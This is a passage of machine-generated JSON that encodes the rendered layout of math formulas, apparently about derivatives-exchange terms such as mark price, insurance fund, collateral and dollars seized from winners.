,{"type":21,"tag":153,"props":163919,"children":163921},{"style":163920},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[163922,163926],{"type":21,"tag":153,"props":163923,"children":163925},{"className":163924,"style":6782},[6781],[],{"type":21,"tag":153,"props":163927,"children":163929},{"className":163928},[6787,6788,6789,6790],[163930],{"type":21,"tag":153,"props":163931,"children":163933},{"className":163932,"style":24281},[6742,24280,6790],[163934],{"type":26,"value":8717},{"type":21,"tag":153,"props":163936,"children":163938},{"className":163937},[24437],[163939],{"type":26,"value":24440},{"type":21,"tag":153,"props":163941,"children":163943},{"className":163942},[6767],[163944],{"type":21,"tag":153,"props":163945,"children":163947},{"className":163946,"style":95427},[6772],[163948],{"type":21,"tag":153,"props":163949,"children":163950},{},[],{"type":21,"tag":153,"props":163952,"children":163954},{"style":163953},"top:7.3078em;",[163955,163959],{"type":21,"tag":153,"props":163956,"children":163958},{"className":163957,"style":163244},[6781],[],{"type":21,"tag":153,"props":163960,"children":163962},{"className":163961},[6742],[163963],{"type":21,"tag":153,"props":163964,"children":163966},{"className":163965},[6742],[163967,163972],{"type":21,"tag":153,"props":163968,"children":163970},{"className":163969,"style":125121},[6742,24280],[163971],{"type":26,"value":125124},{"type":21,"tag":153,"props":163973,"children":163975},{"className":163974},[6757],[163976],{"type":21,"tag":153,"props":163977,"children":163979},{"className":163978},[6762,24334],[163980,164011],{"type":21,"tag":153,"props":163981,"children":163983},{"className":163982},[6767],[163984,164006],{"type":21,"tag":153,"props":163985,"children":163988},{"className":163986,"style":163987},[6772],"height:0.2806em;",[163989],{"type":21,"tag":153,"props":163990,"children":163992},{"style":163991},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[163993,163997],{"type":21,"tag":153,"props":163994,"children":163996},{"className":163995,"style":6782},[6781],[],{"type":21,"tag":153,"props":163998,"children":164000},{"className":163999},[6787,6788,6789,6790],[164001],{"type":21,"tag":153,"props":164002,"children":164004},{"className":164003},[6742,24280,6790],[164005],{"type":26,"value":24422},{"type":21,"tag":153,"props":164007,"children":164009},{"className":164008},[24437],[164010],{"type":26,"value":24440},{"type":21,"tag":153,"props":164012,"children":164014},{"className":164013},[6767],[164015],{"type":21,"tag":153,"props":164016,"children":164018},{"className":164017,"style":95427},[6772],[164019],{"type":21,"tag":153,"props":164020,"children":164021},{},[],{"type":21,"tag":153,"props":164023,"children":164025},{"className":164024},[24437],[164026],{"type":26,"value":24440},{"type":21,"tag":153,"props":164028,"children":164030},{"className":164029},[6767],[164031],{"type":21,"tag":153,"props":164032,"children":164035},{"className":164033,"style":164034},[6772],"height:11.3392em;",[164036],{"type":21,"tag":153,"props":164037,"children":164038},{},[],{"type":21,"tag":153,"props":164040,"children":164042},{"className":164041},[162158],[164043],{"type":21,"tag":153,"props":164044,"children":164046},{"className":164045},[6762,24334],[164047,165749],{"type":21,"tag":153,"props":164048,"children":164050},{"className":164049},[6767],[164051,165744],{"type":21,"tag":153,"props":164052,"children":164054},{"className":164053,"style":163235},[6772],[164055,164093,164131,164278,164513,164668,164773,164816,165037,165196,165386,165538],{"type":21,"tag":153,"props":164056,"children":164057},{"style":163239},[164058,164062],{"type":21,"tag":153,"props":164059,"children":164061},{"className":164060,"style":163244},[6781],[],{"type":21,"tag":153,"props":164063,"children":164065},{"className":164064},[6742],[164066,164070,164074,164079,164083],{"type":21,"tag":153,"props":164067,"children":164069},{"className":164068},[6742],[],{"type":21,"tag":153,"props":164071,"children":164073},{"className":164072,"style":6918},[6820],[],{"type":21,"tag":153,"props":164075,"children":164077},{"className":164076},[6923],[164078],{"type":26,"value":24299},{"type":21,"tag":153,"props":164080,"children":164082},{"className":164081,"style":6918},[6820],[],{"type":21,"tag":153,"props":164084,"children":164086},{"className":164085},[6742,26],[164087],{"type":21,"tag":153,"props":164088,"children":164090},{"className":164089},[6742],[164091],{"type":26,"value":164092},"mark price",{"type":21,"tag":153,"props":164094,"children":164095},{"style":163310},[164096,164100],{"type":21,"tag":153,"props":164097,"children":164099},{"className":164098,"style":163244},[6781],[],{"type":21,"tag":153,"props":164101,"children":164103},{"className":164102},[6742],[164104,164108,164112,164117,164121],{"type":21,"tag":153,"props":164105,"children":164107},{"className":164106},[6742],[],{"type":21,"tag":153,"props":164109,"children":164111},{"className":164110,"style":6918},[6820],[],{"type":21,"tag":153,"props":164113,"children":164115},{"className":164114},[6923],[164116],{"type":26,"value":24299},{"type":21,"tag":153,"props":164118,"children":164120},{"className":164119,"style":6918},[6820],[],{"type":21,"tag":153,"props":164122,"children":164124},{"className":164123},[6742,26],[164125],{"type":21,"tag":153,"props":164126,"children":164128},{"className":164127},[6742],[164129],{"type":26,"value":164130},"insurance fund",{"type":21,"tag":153,"props":164132,"children":164133},{"style":163327},[164134,164138],{"type":21,"tag":153,"props":164135,"children":164137},{"className":164136,"style":163244},[6781],[],{"type":21,"tag":153,"props":164139,"children":164141},{"className":164140},[6742],[164142,164146,164150,164155,164159,164169,164173,164178,164182],{"type":21,"tag":153,"props":164143,"children":164145},{"className":164144},[6742],[],{"type":21,"tag":153,"props":164147,"children":164149},{"className":164148,"style":6918},[6820],[],{"type":21,"tag":153,"props":164151,"children":164153},{"className":164152},[6923],[164154],{"type":26,"value":24299},{"type":21,"tag":153,"props":164156,"children":164158},{"className":164157,"style":6918},[6820],[],{"type":21,"tag":153,"props":164160,"children":164162},{"className":164161},[6742,26],[164163],{"type":21,"tag":153,"props":164164,"children":164166},{"className":164165},[6742],[164167],{"type":26,"value":164168},"collateral",{"type":21,"tag":153,"props":164170,"children":164172},{"className":164171,"style":6918},[6820],[],{"type":21,"tag":153,"props":164174,"children":164176},{"className":164175},[6923],[164177],{"type":26,"value":2367},{"type":21,"tag":153,"props":164179,"children":164181},{"className":164180,"style":6918},[6820],[],{"type":21,"tag":153,"props":164183,"children":164185},{"className":164184},[6742],[164186,164190,164274],{"type":21,"tag":153,"props":164187,"children":164189},{"className":164188},[24409,115862],[],{"type":21,"tag":153,"props":164191,"children":164193},{"className":164192},[115867],[164194],{"type":21,"tag":153,"props":164195,"children":164197},{"className":164196},[6762,24334],[164198,164263],{"type":21,"tag":153,"props":164199,"children":164201},{"className":164200},[6767],[164202,164258],{"type":21,"tag":153,"props":164203,"children":164206},{"className":164204,"style":164205},[6772],"height:1.3714em;",[164207,164227,164238],{"type":21,"tag":153,"props":164208,"children":164209},{"style":161453},[164210,164214],{"type":21,"tag":153,"props":164211,"children":164213},{"className":164212,"style":114515},[6781],[],{"type":21,"tag":153,"props":164215,"children":164217},{"className":164216},[6742],[164218],{"type":21,"tag":153,"props":164219,"children":164221},{"className":164220},[6742,26],[164222],{"type":21,"tag":153,"props":164223,"children":164225},{"className":164224},[6742],[164226],{"type":26,"value":161490},{"type":21,"tag":153,"props":164228,"children":164229},{"style":115917},[164230,164234],{"type":21,"tag":153,"props":164231,"children":164233},{"className":164232,"style":114515},[6781],[],{"type":21,"tag":153,"props":164235,"children":164237},{"className":164236,"style":115927},[115926],[],{"type":21,"tag":153,"props":164239,"children":164240},{"style":161504},[164241,164245],{"type":21,"tag":153,"props":164242,"children":164244},{"className":164243,"style":114515},[6781],[],{"type":21,"tag":153,"props":164246,"children":164248},{"className":164247},[6742],[164249],{"type":21,"tag":153,"props":164250,"children":164252},{"className":164251},[6742,26],[164253],{"type":21,"tag":153,"props":164254,"children":164256},{"className":164255},[6742],[164257],{"type":26,"value":161529},{"type":21,"tag":153,"props":164259,"children":164261},{"className":164260},[24437],[164262],{"type":26,"value":24440},{"type":21,"tag":153,"props":164264,"children":164266},{"className":164265},[6767],[164267],{"type":21,"tag":153,"props":164268,"children":164270},{"className":164269,"style":161547},[6772],[164271],{"type":21,"tag":153,"props":164272,"children":164273},{},[],{"type":21,"tag":153,"props":164275,"children":164277},{"className":164276},[24431,115862],[],{"type":21,"tag":153,"props":164279,"children":164280},{"style":163396},[164281,164285],{"type":21,"tag":153,"props":164282,"children":164284},{"className":164283,"style":163244},[6781],[],{"type":21,"tag":153,"props":164286,"children":164288},{"className":164287},[6742],[164289,164293,164297,164302,164306,164363,164367,164372,164376,164381,164438,164442,164447,164451,164508],{"type":21,"tag":153,"props":164290,"children":164292},{"className":164291},[6742],[],{"type":21,"tag":153,"props":164294,"children":164296},{"className":164295,"style":6918},[6820],[],{"type":21,"tag":153,"props":164298,"children":164300},{"className":164299},[6923],[164301],{"type":26,"value":2367},{"type":21,"tag":153,"props":164303,"children":164305},{"className":164304,"style":6918},[6820],[],{"type":21,"tag":153,"props":164307,"children":164309},{"className":164308},[6742],[164310,164315],{"type":21,"tag":153,"props":164311,"children":164313},{"className":164312},[6742,24280],[164314],{"type":26,"value":13372},{"type":21,"tag":153,"props":164316,"children":164318},{"className":164317},[6757],[164319],{"type":21,"tag":153,"props":164320,"children":164322},{"className":164321},[6762,24334],[164323,164352],{"type":21,"tag":153,"props":164324,"children":164326},{"className":164325},[6767],[164327,164347],{"type":21,"tag":153,"props":164328,"children":164330},{"className":164329,"style":95873},[6772],[164331],{"type":21,"tag":153,"props":164332,"children":164333},{"style":95400},[164334,164338],{"type":21,"tag":153,"props":164335,"children":164337},{"className":164336,"style":6782},[6781],[],{"type":21,"tag":153,"props":164339,"children":164341},{"className":164340},[6787,6788,6789,6790],[164342],{"type":21,"tag":153,"props":164343,"children":164345},{"className":164344},[6742,24280,6790],[164346],{"type":26,"value":6471},{"type":21,"tag":153,"props":164348,"children":164350},{"className":164349},[24437],[164351],{"type":26,"value":24440},{"type":21,"tag":153,"props":164353,"children":164355},{"className":164354},[6767],[164356],{"type":21,"tag":153,"props":164357,"children":164359},{"className":164358,"style":95427},[6772],[164360],{"type":21,"tag":153,"props":164361,"children":164362},{},[],{"type":21,"tag":153,"props":164364,"children":164366},{"className":164365,"style":6821},[6820],[],{"type":21,"tag":153,"props":164368,"children":164370},{"className":164369},[6826],[164371],{"type":26,"value":113606},{"type":21,"tag":153,"props":164373,"children":164375},{"className":164374,"style":6821},[6820],[],{"type":21,"tag":153,"props":164377,"children":164379},{"className":164378},[24409],[164380],{"type":26,"value":189},{"type":21,"tag":153,"props":164382,"children":164384},{"className":164383},[6742],[164385,164390],{"type":21,"tag":153,"props":164386,"children":164388},{"className":164387,"style":24281},[6742,24280],[164389],{"type":26,"value":24284},{"type":21,"tag":153,"props":164391,"children":164393},{"className":164392},[6757],[164394],{"type":21,"tag":153,"props":164395,"children":164397},{"className":164396},[6762,24334],[164398,164427],{"type":21,"tag":153,"props":164399,"children":164401},{"className":164400},[6767],[164402,164422],{"type":21,"tag":153,"props":164403,"children":164405},{"className":164404,"style":111776},[6772],[164406],{"type":21,"tag":153,"props":164407,"children":164408},{"style":163277},[164409,164413],{"type":21,"tag":153,"props":164410,"children":164412},{"className":164411,"style":6782},[6781],[],{"type":21,"tag":153,"props":164414,"children":164416},{"className":164415},[6787,6788,6789,6790],[164417],{"type":21,"tag":153,"props":164418,"children":164420},{"className":164419},[6742,24280,6790],[164421],{"type":26,"value":58695},{"type":21,"tag":153,"props":164423,"children":164425},{"className":164424},[24437],[164426],{"type":26,"value":24440},{"type":21,"tag":153,"props":164428,"children":164430},{"className":164429},[6767],[164431],{"type":21,"tag":153,"props":164432,"children":164434},{"className":164433,"style":95427},[6772],[164435],{"type":21,"tag":153,"props":164436,"children":164437},{},[],{"type":21,"tag":153,"props":164439,"children":164441},{"className":164440,"style":6821},[6820],[],{"type":21,"tag":153,"props":164443,"children":164445},{"className":164444},[6826],[164446],{"type":26,"value":6801},{"type":21,"tag":153,"props":164448,"children":164450},{"className":164449,"style":6821},[6820],[],{"type":21,"tag":153,"props":164452,"children":164454},{"className":164453},[6742],[164455,164460],{"type":21,"tag":153,"props":164456,"children":164458},{"className":164457},[6742,24280],[164459],{"type":26,"value":22},{"type":21,"tag":153,"props":164461,"children":164463},{"className":164462},[6757],[164464],{"type":21,"tag":153,"props":164465,"children":164467},{"className":164466},[6762,24334],[164468,164497],{"type":21,"tag":153,"props":164469,"children":164471},{"className":164470},[6767],[164472,164492],{"type":21,"tag":153,"props":164473,"children":164475},{"className":164474,"style":95873},[6772],[164476],{"type":21,"tag":153,"props":164477,"children":164478},{"style":95400},[164479,164483],{"type":21,"tag":153,"props":164480,"children":164482},{"className":164481,"style":6782},[6781],[],{"type":21,"tag":153,"props":164484,"children":164486},{"className":164485},[6787,6788,6789,6790],[164487],{"type":21,"tag":153,"props":164488,"children":164490},{"className":164489},[6742,24280,6790],[164491],{"type":26,"value":6471},{"type":21,"tag":153,"props":164493,"children":164495},{"className":164494},[24437],[164496],{"type":26,"value":24440},{"type":21,"tag":153,"props":164498,"children":164500},{"className":164499},[6767],[164501],{"type":21,"tag":153,"props":164502,"children":164504},{"className":164503,"style":95427},[6772],[164505],{"type":21,"tag":153,"props":164506,"children":164507},{},[],{"type":21,"tag":153,"props":164509,"children":164511},{"className":164510},[24431],[164512],{"type":26,"value":2071},{"type":21,"tag":153,"props":164514,"children":164515},{"style":163466},[164516,164520],{"type":21,"tag":153,"props":164517,"children":164519},{"className":164518,"style":163244},[6781],[],{"type":21,"tag":153,"props":164521,"children":164523},{"className":164522},[6742],[164524,164528,164532,164537,164541,164598,164602,164607,164611],{"type":21,"tag":153,"props":164525,"children":164527},{"className":164526},[6742],[],{"type":21,"tag":153,"props":164529,"children":164531},{"className":164530,"style":6918},[6820],[],{"type":21,"tag":153,"props":164533,"children":164535},{"className":164534},[6923],[164536],{"type":26,"value":2367},{"type":21,"tag":153,"props":164538,"children":164540},{"className":164539,"style":6918},[6820],[],{"type":21,"tag":153,"props":164542,"children":164544},{"className":164543},[6742],[164545,164550],{"type":21,"tag":153,"props":164546,"children":164548},{"className":164547},[6742,24280],[164549],{"type":26,"value":5896},{"type":21,"tag":153,"props":164551,"children":164553},{"className":164552},[6757],[164554],{"type":21,"tag":153,"props":164555,"children":164557},{"className":164556},[6762,24334],[164558,164587],{"type":21,"tag":153,"props":164559,"children":164561},{"className":164560},[6767],[164562,164582],{"type":21,"tag":153,"props":164563,"children":164565},{"className":164564,"style":95873},[6772],[164566],{"type":21,"tag":153,"props":164567,"children":164568},{"style":95400},[164569,164573],{"type":21,"tag":153,"props":164570,"children":164572},{"className":164571,"style":6782},[6781],[],{"type":21,"tag":153,"props":164574,"children":164576},{"className":164575},[6787,6788,6789,6790],[164577],{"type":21,"tag":153,"props":164578,"children":164580},{"className":164579},[6742,24280,6790],[164581],{"type":26,"value":6471},{"type":21,"tag":153,"props":164583,"children":164585},{"className":164584},[24437],[164586],{"type":26,"value":24440},{"type":21,"tag":153,"props":164588,"children":164590},{"className":164589},[6767],[164591],{"type":21,"tag":153,"props":164592,"children":164594},{"className":164593,"style":95427},[6772],[164595],{"type":21,"tag":153,"props":164596,"children":164597},{},[],{"type":21,"tag":153,"props":164599,"children":164601},{"className":164600,"style":6821},[6820],[],{"type":21,"tag":153,"props":164603,"children":164605},{"className":164604},[6826],[164606],{"type":26,"value":4099},{"type":21,"tag":153,"props":164608,"children":164610},{"className":164609,"style":6821},[6820],[],{"type":21,"tag":153,"props":164612,"children":164614},{"className":164613},[6742],[164615,164620],{"type":21,"tag":153,"props":164616,"children":164618},{"className":164617,"style":95830},[6742,24280],[164619],{"type":26,"value":163415},{"type":21,"tag":153,"props":164621,"children":164623},{"className":164622},[6757],[164624],{"type":21,"tag":153,"props":164625,"children":164627},{"className":164626},[6762,24334],[164628,164657],{"type":21,"tag":153,"props":164629,"children":164631},{"className":164630},[6767],[164632,164652],{"type":21,"tag":153,"props":164633,"children":164635},{"className":164634,"style":95873},[6772],[164636],{"type":21,"tag":153,"props":164637,"children":164638},{"style":95877},[164639,164643],{"type":21,"tag":153,"props":164640,"children":164642},{"className":164641,"style":6782},[6781],[],{"type":21,"tag":153,"props":164644,"children":164646},{"className":164645},[6787,6788,6789,6790],[164647],{"type":21,"tag":153,"props":164648,"children":164650},{"className":164649},[6742,24280,6790],[164651],{"type":26,"value":6471},{"type":21,"tag":153,"props":164653,"children":164655},{"className":164654},[24437],[164656],{"type":26,"value":24440},{"type":21,"tag":153,"props":164658,"children":164660},{"className":164659},[6767],[164661],{"type":21,"tag":153,"props":164662,"children":164664},{"className":164663,"style":95427},[6772],[164665],{"type":21,"tag":153,"props":164666,"children":164667},{},[],{"type":21,"tag":153,"props":164669,"children":164670},{"style":163535},[164671,164675],{"type":21,"tag":153,"props":164672,"children":164674},{"className":164673,"style":163244},[6781],[],{"type":21,"tag":153,"props":164676,"children":164678},{"className":164677},[6742],[164679,164683,164687,164692,164696],{"type":21,"tag":153,"props":164680,"children":164682},{"className":164681},[6742],[],{"type":21,"tag":153,"props":164684,"children":164686},{"className":164685,"style":6918},[6820],[],{"type":21,"tag":153,"props":164688,"children":164690},{"className":164689},[6923],[164691],{"type":26,"value":2367},{"type":21,"tag":153,"props":164693,"children":164695},{"className":164694,"style":6918},[6820],[],{"type":21,"tag":153,"props":164697,"children":164699},{"className":164698},[6742],[164700,164705],{"type":21,"tag":153,"props":164701,"children":164703},{"className":164702,"style":95830},[6742,24280],[164704],{"type":26,"value":163415},{"type":21,"tag":153,"props":164706,"children":164708},{"className":164707},[6757],[164709],{"type":21,"tag":153,"props":164710,"children":164712},{"className":164711},[6762,24334],[164713,164761],{"type":21,"tag":153,"props":164714,"children":164716},{"className":164715},[6767],[164717,164756],{"type":21,"tag":153,"props":164718,"children":164721},{"className":164719,"style":164720},[6772],"height:0.8213em;",[164722,164739],{"type":21,"tag":153,"props":164723,"children":164725},{"style":164724},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[164726,164730],{"type":21,"tag":153,"props":164727,"children":164729},{"className":164728,"style":6782},[6781],[],{"type":21,"tag":153,"props":164731,"children":164733},{"className":164732},[6787,6788,6789,6790],[164734],{"type":21,"tag":153,"props":164735,"children":164737},{"className":164736},[6742,24280,6790],[164738],{"type":26,"value":6471},{"type":21,"tag":153,"props":164740,"children":164742},{"style":164741},"top:-3.113em;margin-right:0.05em;",[164743,164747],{"type":21,"tag":153,"props":164744,"children":164746},{"className":164745,"style":6782},[6781],[],{"type":21,"tag":153,"props":164748,"children":164750},{"className":164749},[6787,6788,6789,6790],[164751],{"type":21,"tag":153,"props":164752,"children":164754},{"className":164753},[6826,6790],[164755],{"type":26,"value":4099},{"type":21,"tag":153,"props":164757,"children":164759},{"className":164758},[24437],[164760],{"type":26,"value":24440},{"type":21,"tag":153,"props":164762,"children":164764},{"className":164763},[6767],[164765],{"type":21,"tag":153,"props":164766,"children":164769},{"className":164767,"style":164768},[6772],"height:0.267em;",[164770],{"type":21,"tag":153,"props":164771,"children":164772},{},[],{"type":21,"tag":153,"props":164774,"children":164775},{"style":163605},[164776,164780],{"type":21,"tag":153,"props":164777,"children":164779},{"className":164778,"style":163244},[6781],[],{"type":21,"tag":153,"props":164781,"children":164783},{"className":164782},[6742],[164784,164788,164792,164797,164801,164811],{"type":21,"tag":153,"props":164785,"children":164787},{"className":164786},[6742],[],{"type":21,"tag":153,"props":164789,"children":164791},{"className":164790,"style":6918},[6820],[],{"type":21,"tag":153,"props":164793,"children":164795},{"className":164794},[6923],[164796],{"type":26,"value":24299},{"type":21,"tag":153,"props":164798,"children":164800},{"className":164799,"style":6918},[6820],[],{"type":21,"tag":153,"props":164802,"children":164804},{"className":164803},[6742,26],[164805],{"type":21,"tag":153,"props":164806,"children":164808},{"className":164807},[6742],[164809],{"type":26,"value":164810},"dollars seized from winner ",{"type":21,"tag":153,"props":164812,"children":164814},{"className":164813},[6742,24280],[164815],{"type":26,"value":6471},{"type":21,"tag":153,"props":164817,"children":164818},{"style":163674},[164819,164823],{"type":21,"tag":153,"props":164820,"children":164822},{"className":164821,"style":163244},[6781],[],{"type":21,"tag":153,"props":164824,"children":164826},{"className":164825},[6742],[164827,164831,164835,164840,164844],{"type":21,"tag":153,"props":164828,"children":164830},{"className":164829},[6742],[],{"type":21,"tag":153,"props":164832,"children":164834},{"className":164833,"style":6918},[6820],[],{"type":21,"tag":153,"props":164836,"children":164838},{"className":164837},[6923],[164839],{"type":26,"value":2367},{"type":21,"tag":153,"props":164841,"children":164843},{"className":164842,"style":6918},[6820],[],{"type":21,"tag":153,"props":164845,"children":164847},{"className":164846},[6742],[164848,164852,165033],{"type":21,"tag":153,"props":164849,"children":164851},{"className":164850},[24409,115862],[],{"type":21,"tag":153,"props":164853,"children":164855},{"className":164854},[115867],[164856],{"type":21,"tag":153,"props":164857,"children":164859},{"className":164858},[6762,24334],[164860,165021],{"type":21,"tag":153,"props":164861,"children":164863},{"className":164862},[6767],[164864,165016],{"type":21,"tag":153,"props":164865,"children":164868},{"className":164866,"style":164867},[6772],"height:1.1076em;",[164869,164937,164948],{"type":21,"tag":153,"props":164870,"children":164871},{"style":161453},[164872,164876],{"type":21,"tag":153,"props":164873,"children":164875},{"className":164874,"style":114515},[6781],[],{"type":21,"tag":153,"props":164877,"children":164879},{"className":164878},[6742],[164880],{"type":21,"tag":153,"props":164881,"children":164883},{"className":164882},[6742],[164884,164889],{"type":21,"tag":153,"props":164885,"children":164887},{"className":164886,"style":124624},[6742,24280],[164888],{"type":26,"value":51862},{"type":21,"tag":153,"props":164890,"children":164892},{"className":164891},[6757],[164893],{"type":21,"tag":153,"props":164894,"children":164896},{"className":164895},[6762,24334],[164897,164926],{"type":21,"tag":153,"props":164898,"children":164900},{"className":164899},[6767],[164901,164921],{"type":21,"tag":153,"props":164902,"children":164904},{"className":164903,"style":95873},[6772],[164905],{"type":21,"tag":153,"props":164906,"children":164907},{"style":163572},[164908,164912],{"type":21,"tag":153,"props":164909,"children":164911},{"className":164910,"style":6782},[6781],[],{"type":21,"tag":153,"props":164913,"children":164915},{"className":164914},[6787,6788,6789,6790],[164916],{"type":21,"tag":153,"props":164917,"children":164919},{"className":164918},[6742,24280,6790],[164920],{"type":26,"value":6471},{"type":21,"tag":153,"props":164922,"children":164924},{"className":164923},[24437],[164925],{"type":26,"value":24440},{"type":21,"tag":153,"props":164927,"children":164929},{"className":164928},[6767],[164930],{"type":21,"tag":153,"props":164931,"children":164933},{"className":164932,"style":95427},[6772],[164934],{"type":21,"tag":153,"props":164935,"children":164936},{},[],{"type":21,"tag":153,"props":164938,"children":164939},{"style":115917},[164940,164944],{"type":21,"tag":153,"props":164941,"children":164943},{"className":164942,"style":114515},[6781],[],{"type":21,"tag":153,"props":164945,"children":164947},{"className":164946,"style":115927},[115926],[],{"type":21,"tag":153,"props":164949,"children":164950},{"style":161504},[164951,164955],{"type":21,"tag":153,"props":164952,"children":164954},{"className":164953,"style":114515},[6781],[],{"type":21,"tag":153,"props":164956,"children":164958},{"className":164957},[6742],[164959],{"type":21,"tag":153,"props":164960,"children":164962},{"className":164961},[6742],[164963,164968],{"type":21,"tag":153,"props":164964,"children":164966},{"className":164965},[6742,24280],[164967],{"type":26,"value":21972},{"type":21,"tag":153,"props":164969,"children":164971},{"className":164970},[6757],[164972],{"type":21,"tag":153,"props":164973,"children":164975},{"className":164974},[6762,24334],[164976,165005],{"type":21,"tag":153,"props":164977,"children":164979},{"className":164978},[6767],[164980,165000],{"type":21,"tag":153,"props":164981,"children":164983},{"className":164982,"style":95873},[6772],[164984],{"type":21,"tag":153,"props":164985,"children":164986},{"style":95400},[164987,164991],{"type":21,"tag":153,"props":164988,"children":164990},{"className":164989,"style":6782},[6781],[],{"type":21,"tag":153,"props":164992,"children":164994},{"className":164993},[6787,6788,6789,6790],[164995],{"type":21,"tag":153,"props":164996,"children":164998},{"className":164997},[6742,24280,6790],[164999],{"type":26,"value":6471},{"type":21,"tag":153,"props":165001,"children":165003},{"className":165002},[24437],[165004],{"type":26,"value":24440},{"type":21,"tag":153,"props":165006,"children":165008},{"className":165007},[6767],[165009],{"type":21,"tag":153,"props":165010,"children":165012},{"className":165011,"style":95427},[6772],[165013],{"type":21,"tag":153,"props":165014,"children":165015},{},[],{"type":21,"tag":153,"props":165017,"children":165019},{"className":165018},[24437],[165020],{"type":26,"value":24440},{"type":21,"tag":153,"props":165022,"children":165024},{"className":165023},[6767],[165025],{"type":21,"tag":153,"props":165026,"children":165029},{"className":165027,"style":165028},[6772],"height:0.836em;",[165030],{"type":21,"tag":153,"props":165031,"children":165032},{},[],{"type":21,"tag":153,"props":165034,"children":165036},{"className":165035},[24431,115862],[],{"type":21,"tag":153,"props":165038,"children":165039},{"style":163743},[165040,165044],{"type":21,"tag":153,"props":165041,"children":165043},{"className":165042,"style":163244},[6781],[],{"type":21,"tag":153,"props":165045,"children":165047},{"className":165046},[6742],[165048,165052,165056,165061,165065,165135,165139],{"type":21,"tag":153,"props":165049,"children":165051},{"className":165050},[6742],[],{"type":21,"tag":153,"props":165053,"children":165055},{"className":165054,"style":6918},[6820],[],{"type":21,"tag":153,"props":165057,"children":165059},{"className":165058},[6923],[165060],{"type":26,"value":2367},{"type":21,"tag":153,"props":165062,"children":165064},{"className":165063,"style":6918},[6820],[],{"type":21,"tag":153,"props":165066,"children":165069},{"className":165067},[24316,165068],"op-limits",[165070],{"type":21,"tag":153,"props":165071,"children":165073},{"className":165072},[6762,24334],[165074,165123],{"type":21,"tag":153,"props":165075,"children":165077},{"className":165076},[6767],[165078,165118],{"type":21,"tag":153,"props":165079,"children":165082},{"className":165080,"style":165081},[6772],"height:1.05em;",[165083,165101],{"type":21,"tag":153,"props":165084,"children":165086},{"style":165085},"top:-1.8723em;margin-left:0em;",[165087,165092],{"type":21,"tag":153,"props":165088,"children":165091},{"className":165089,"style":165090},[6781],"height:3.05em;",[],{"type":21,"tag":153,"props":165093,"children":165095},{"className":165094},[6787,6788,6789,6790],[165096],{"type":21,"tag":153,"props":165097,"children":165099},{"className":165098},[6742,24280,6790],[165100],{"type":26,"value":6471},{"type":21,"tag":153,"props":165102,"children":165104},{"style":165103},"top:-3.05em;",[165105,165109],{"type":21,"tag":153,"props":165106,"children":165108},{"className":165107,"style":165090},[6781],[],{"type":21,"tag":153,"props":165110,"children":165111},{},[165112],{"type":21,"tag":153,"props":165113,"children":165116},{"className":165114},[24316,24321,165115],"large-op",[165117],{"type":26,"value":111139},{"type":21,"tag":153,"props":165119,"children":165121},{"className":165120},[24437],[165122],{"type":26,"value":24440},{"type":21,"tag":153,"props":165124,"children":165126},{"className":165125},[6767],[165127],{"type":21,"tag":153,"props":165128,"children":165131},{"className":165129,"style":165130},[6772],"height:1.2777em;",[165132],{"type":21,"tag":153,"props":165133,"children":165134},{},[],{"type":21,"tag":153,"props":165136,"children":165138},{"className":165137,"style":6859},[6820],[],{"type":21,"tag":153,"props":165140,"children":165142},{"className":165141},[6742],[165143,165148],{"type":21,"tag":153,"props":165144,"children":165146},{"className":165145},[6742,24280],[165147],{"type":26,"value":21972},{"type":21,"tag":153,"props":165149,"children":165151},{"className":165150},[6757],[165152],{"type":21,"tag":153,"props":165153,"children":165155},{"className":165154},[6762,24334],[165156,165185],{"type":21,"tag":153,"props":165157,"children":165159},{"className":165158},[6767],[165160,165180],{"type":21,"tag":153,"props":165161,"children":165163},{"className":165162,"style":95873},[6772],[165164],{"type":21,"tag":153,"props":165165,"children":165166},{"style":95400},[165167,165171],{"type":21,"tag":153,"props":165168,"children":165170},{"className":165169,"style":6782},[6781],[],{"type":21,"tag":153,"props":165172,"children":165174},{"className":165173},[6787,6788,6789,6790],[165175],{"type":21,"tag":153,"props":165176,"children":165178},{"className":165177},[6742,24280,6790],[165179],{"type":26,"value":6471},{"type":21,"tag":153,"props":165181,"children":165183},{"className":165182},[24437],[165184],{"type":26,"value":24440},{"type":21,"tag":153,"props":165186,"children":165188},{"className":165187},[6767],[165189],{"type":21,"tag":153,"props":165190,"children":165192},{"className":165191,"style":95427},[6772],[165193],{"type":21,"tag":153,"props":165194,"children":165195},{},[],{"type":21,"tag":153,"props":165197,"children":165198},{"style":163812},[165199,165203],{"type":21,"tag":153,"props":165200,"children":165202},{"className":165201,"style":163244},[6781],[],{"type":21,"tag":153,"props":165204,"children":165206},{"className":165205},[6742],[165207,165211,165215,165220,165224,165287,165291,165296,165301,165306,165363,165368,165372,165376,165381],{"type":21,"tag":153,"props":165208,"children":165210},{"className":165209},[6742],[],{"type":21,"tag":153,"props":165212,"children":165214},{"className":165213,"style":6918},[6820],[],{"type":21,"tag":153,"props":165216,"children":165218},{"className":165217},[6923],[165219],{"type":26,"value":2367},{"type":21,"tag":153,"props":165221,"children":165223},{"className":165222,"style":6918},[6820],[],{"type":21,"tag":153,"props":165225,"children":165227},{"className":165226},[24316,165068],[165228],{"type":21,"tag":153,"props":165229,"children":165231},{"className":165230},[6762,24334],[165232,165276],{"type":21,"tag":153,"props":165233,"children":165235},{"className":165234},[6767],[165236,165271],{"type":21,"tag":153,"props":165237,"children":165239},{"className":165238,"style":165081},[6772],[165240,165256],{"type":21,"tag":153,"props":165241,"children":165242},{"style":165085},[165243,165247],{"type":21,"tag":153,"props":165244,"children":165246},{"className":165245,"style":165090},[6781],[],{"type":21,"tag":153,"props":165248,"children":165250},{"className":165249},[6787,6788,6789,6790],[165251],{"type":21,"tag":153,"props":165252,"children":165254},{"className":165253},[6742,24280,6790],[165255],{"type":26,"value":6471},{"type":21,"tag":153,"props":165257,"children":165258},{"style":165103},[165259,165263],{"type":21,"tag":153,"props":165260,"children":165262},{"className":165261,"style":165090},[6781],[],{"type":21,"tag":153,"props":165264,"children":165265},{},[165266],{"type":21,"tag":153,"props":165267,"children":165269},{"className":165268},[24316,24321,165115],[165270],{"type":26,"value":111139},{"type":21,"tag":153,"props":165272,"children":165274},{"className":165273},[24437],[165275],{"type":26,"value":24440},{"type":21,"tag":153,"props":165277,"children":165279},{"className":165278},[6767],[165280],{"type":21,"tag":153,"props":165281,"children":165283},{"className":165282,"style":165130},[6772],[165284],{"type":21,"tag":153,"props":165285,"children":165286},